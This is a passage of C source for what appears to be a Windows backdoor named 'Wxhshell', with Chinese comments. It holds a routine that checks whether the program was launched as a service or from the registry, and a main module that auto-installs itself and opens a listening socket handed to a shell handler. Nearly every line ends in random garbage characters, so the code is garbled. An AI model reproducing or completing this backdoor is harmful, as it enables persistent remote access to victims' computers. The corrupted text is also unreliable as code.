DWORD AffinityMask; w3c[t~R8
DWORD BasePriority; _U)DL=a'
ULONG UniqueProcessId; INsc!xOQ
ULONG InheritedFromUniqueProcessId; e;56}w
} PROCESS_BASIC_INFORMATION; E/9 U0
_pM&Ya
PROCNTQSIP NtQueryInformationProcess; C$xU!9K[+
M&
GA:`
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cTFyF)
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rE-Xv.
|
CEE`nn
HANDLE hProcess; ;Id%{1
PROCESS_BASIC_INFORMATION pbi; 6)kF!/J
69 R8#M
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S,EXc^A7
if(NULL == hInst ) return 0; e;R5A6|
/+ vl({vV
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Hm4:m$=p4
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'Uew(o
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [J0L7p*6
Y!v `0z
if (!NtQueryInformationProcess) return 0; G:$wdT(u
Iu^#+n
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k`6T% [D]
if(!hProcess) return 0; Zg%U4m:
iVzv/Lqm1
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~oh=QakW
2:Q9gru
CloseHandle(hProcess); @!&\Z[",
\aQBzEX
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]L%qfy4
if(hProcess==NULL) return 0; Q2iS0#
|_8-3
HMODULE hMod; ,2/qQD n/
char procName[255]; a1B_w#?8
unsigned long cbNeeded; 0n|op:]BHM
bN@V=C3
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &Jv j@,>$d
wX" 6 S:
CloseHandle(hProcess); 5zX;/n~
/i$E |[
if(strstr(procName,"services")) return 1; // 以服务启动 _` |Hk2O
/pZLt)=P
return 0; // 注册表启动 gX5I`mm
} dU\,>3tG
V6?ku6k
// 主模块 $%"i|KTsv:
int StartWxhshell(LPSTR lpCmdLine) wj9CL1Gx
{
qm&}^S
SOCKET wsl; gYfN?A*`_
BOOL val=TRUE; v_"p)4&'
int port=0; \zw0*;&U
struct sockaddr_in door; {3]g3mj
hWwh`Vw%
if(wscfg.ws_autoins) Install(); :O)\v!Z
C2Fklp6
port=atoi(lpCmdLine); Z!60n{T79c
Tk9u+;=6$
if(port<=0) port=wscfg.ws_port; >nkd U
^[Cpu_]D
WSADATA data; R_:47.qq
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a33}CVG-e3
<Vm+Lt9
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 2?58=i%b
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tzJdUZJ
door.sin_family = AF_INET; \,i9 m9;y
door.sin_addr.s_addr = inet_addr("127.0.0.1"); aG}ju;
door.sin_port = htons(port); : I28Zi*
m+||t
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >xws
closesocket(wsl); gEbe6!; q3
return 1; a H'iW)
} QpwOrxI}
6uW?xB9
if(listen(wsl,2) == INVALID_SOCKET) { ,J"6(nk
closesocket(wsl); EFu2&P
return 1;
'{p/F
$
} j1%o+#df
Wxhshell(wsl); d76k1-m\o
WSACleanup(); 4=td}%
CTQF+Oe8O
return 0; [URo#
fi^I1*S
} b[<